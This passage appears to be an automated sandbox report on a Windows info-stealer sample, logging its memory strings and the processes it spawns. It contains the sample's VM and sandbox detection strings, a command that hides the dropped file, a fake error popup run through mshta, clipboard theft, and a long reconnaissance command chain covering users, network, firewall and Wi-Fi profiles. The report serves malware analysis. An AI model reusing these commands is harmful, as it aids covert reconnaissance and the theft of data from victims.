            Source: HOSTNAME.EXE, 0000003E.00000002.1385004197.000002372E3A9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 9afaXJv52z.exe, Exela.exe.2.drBinary or memory string: 7QemU
            Source: 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SERVICE_NAME: vmicshutdown
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hostNames = ['sandbox','cuckoo', 'vm', 'virtual', 'qemu', 'vbox', 'xen']
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vmacthlp.exe", # VMware
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if b'VMware' in stdout:
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850BC57C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6850BC57C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D3AF0 GetProcessHeap,0_2_00007FF6850D3AF0
            Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\tasklist.exeProcess token adjusted: Debug
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850BC57C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6850BC57C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850BC760 SetUnhandledExceptionFilter,0_2_00007FF6850BC760
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850BBCE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF6850BBCE0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850CABD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF6850CABD8

            HIPS / PFW / Operating System Protection Evasion

            barindex
            DLL side loading technique detected
            Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\vcruntime140.dllJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\vcruntime140.dllJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\vcruntime140.dllJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\vcruntime140.dll
            Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\vcruntime140.dll
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Users\user\Desktop\9afaXJv52z.exe C:\Users\user\Desktop\9afaXJv52z.exeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: unknown unknownJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get nameJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get ManufacturerJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get ManufacturerJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\HOSTNAME.EXE hostname
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\query.exe query user
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup administrators
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user guest
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
            Source: C:\Windows\System32\query.exeProcess created: C:\Windows\System32\quser.exe C:\Windows\system32\quser.exe
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
            Source: C:\Windows\System32\net.exeProcess created: unknown unknown
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D9E40 cpuid 0_2_00007FF6850D9E40
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_ctypes.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\attrs-23.1.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography-41.0.7.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\frozenlist VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\libcrypto-1_1.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\libffi-8.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\libssl-1_1.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\pyexpat.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\python3.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\python311.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\select.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\sqlite3.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\unicodedata.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_asyncio.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_bz2.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_cffi_backend.cp311-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_ctypes.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_decimal.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_hashlib.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_lzma.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_multiprocessing.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_overlapped.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_queue.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_socket.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_sqlite3.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\Desktop\9afaXJv52z.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI67202\base_library.zip VolumeInformationJump to behavior
